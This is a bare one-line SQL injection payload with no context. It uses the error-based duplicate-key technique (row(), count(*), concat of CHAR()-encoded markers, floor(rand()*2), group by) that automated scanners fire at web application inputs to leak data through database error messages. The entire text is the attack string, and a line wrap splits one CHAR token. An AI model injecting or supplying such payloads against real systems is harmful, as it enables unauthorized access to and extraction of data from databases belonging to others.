(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117) ,CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHA R(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))